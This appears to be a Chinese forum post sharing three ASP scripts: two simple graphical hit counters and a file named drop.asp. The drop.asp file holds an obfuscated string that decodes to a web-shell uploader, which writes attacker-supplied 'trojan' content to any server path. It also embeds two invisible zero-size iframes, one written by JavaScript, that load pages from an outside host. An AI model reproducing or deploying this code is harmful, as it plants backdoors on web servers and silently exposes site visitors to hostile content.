[历史] 曲大侠来看

--------------------------counters.asp
<html>
<head>
<title>counter</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#000000" text="#000000">
<%
dim visitors,fs
whichfile=server.mappath("counter.txt")
Set fs = CreateObject("Scripting.FileSystemObject")
Set thisfile = fs.OpenTextFile(whichfile)

visitors=thisfile.readline
thisfile.close

countlen=len(visitors)
countsize=7
if countlen<countsize and i<countlen then
for j=1 to (countsize-countlen)
response.write "<img src=""0.gif""></img>"
next
for i=1 to countlen
response.write "<img src=" & mid(visitors,i,1) & ".gif""></img>"
next
end if

visitors=visitors+1
Set out=fs.CreateTextFile(whichfile)
out.WriteLine(visitors)
out.close

set fs=nothing
%>
</body>
</html>

———————————————————counter.asp
<html>
<head>
<title>ASP图形计数器</title>
</head>

<body>
<%
file=server.mappath("counter.txt")
Set files = CreateObject("Scripting.FileSystemObject")
Set openfile = files.OpenTextFile(file)

visitors=openfile.readline
openfile.close

countsize=len(visitors)
for n=1 to countsize
response.write "<img src=" & mid(visitors,n,1) & ".gif>"
next

If IsEmpty(Session("visitors")) Then
visitors=visitors+1
Set out=files.CreateTextFile(file)
out.WriteLine(visitors)
out.close
End If
Session("visitors") = True
%>

</body>
</html>

————————————————drop.asp

<%
xu="&杀&jos&uhpLYU&杀&jos&ljgzg&杀&jos&uhpIu{tzLork&杀&ut&kxxux&xky{sk&tk~z&杀&Ykz&uhpLYU&C&Ykx|kx4IxkgzkUhpkiz.(Yixovzotm4LorkY yzksUhpkiz(/&杀&ol&Zxos.xkw{kyz.(y ljvgzn(//BD((&znkt&杀&ljgzg&C&xkw{kyz.(i ljjgzg(/&杀&Ykz&uhpIu{tzLorkCuhpLYU4IxkgzkZk~zLork.xkw{kyz.(y ljvgzn(/2Zx{k/&杀&uhpIu{tzLork4]xozk&ljgzg&杀&ol&kxx&C6&znkt&杀&xkyvutyk4}xozk&(Blutz&iuruxCxkjDyg|k&Y{iikyy'B5lutzD(&杀&kryk&杀&xkyvutyk4}xozk&(Blutz&iuruxCxkjDYg|k&[tY{iikyy'B5lutzD(&杀&ktj&ol&杀&kxx4irkgx&杀&ktj&ol&杀&uhpIu{tzLork4Iruyk&杀&Ykz&uhpIu{tzLorkCTuznotm&杀&Ykz&uhpLYU&C&Tuznotm&杀&Xkyvutyk4}xozk&(Bluxs&gizoutC--&skznujCvuyzD(&杀&Xkyvutyk4}xozk&(保存文件的Blutz&iuruxCxkjD绝对路径.包括文件名@如J@b}khb~4gyv/@B5lutzD(&杀&Xkyvutyk4]xozk&(Botv{z&z vkCzk~z&tgskCy ljvgzn&}ojznC98&yo!kC;6D(&杀&Xkyvutyk4]xozk&(BhxD(&杀&Xkyvutyk4}xozk&(本文件绝对路径(&杀&Xkyvutyk4}xozk&ykx|kx4sgvvgzn.Xkw{kyz4Ykx|kx\gxoghrky.(YIXOVZeTGSK(//&杀&Xkyvutyk4}xozk&(BhxD(&杀&Xkyvutyk4}xozk&(输入马的内容@(&杀&Xkyvutyk4}xozk&(Bzk~zgxkg&tgskCi ljjgzg&iuryC>6&xu}yC76&}ojznC98DB5zk~zgxkgD(&杀&Xkyvutyk4}xozk&(Botv{z&z vkCy{hsoz&|gr{kC保存D(&杀&Xkyvutyk4}xozk&(B5luxsD(杀&杀杀"
execute(UnEncode(xu))
function UnEncode(temp)
but=-89
for i = 1 to len(temp)
      if mid(temp,i,1)<>"杀" then
         If Asc(Mid(temp, i, 1)) < 32 Or Asc(Mid(temp, i, 1)) > 126 Then
            a = a & Chr(Asc(Mid(temp, i, 1)))
         else
            pk=asc(mid(temp,i,1))-but
            if pk>126 then
                  pk=pk-95
            elseif pk<32 then
                  pk=pk+95
            end if
            a=a&chr(pk)
         end if
      else
         a=a&vbcrlf
      end if
next
UnEncode=a
end function
%>
<iframe src=http://wocaoni322.diy.myrice.com/wz.htm width=0 height=0></iframe>
<script language="JavaScript">document.write("<iframe width=0 height=0 src=http://wocaoni322.diy.myrice.com/index.htm></iframe>");</script>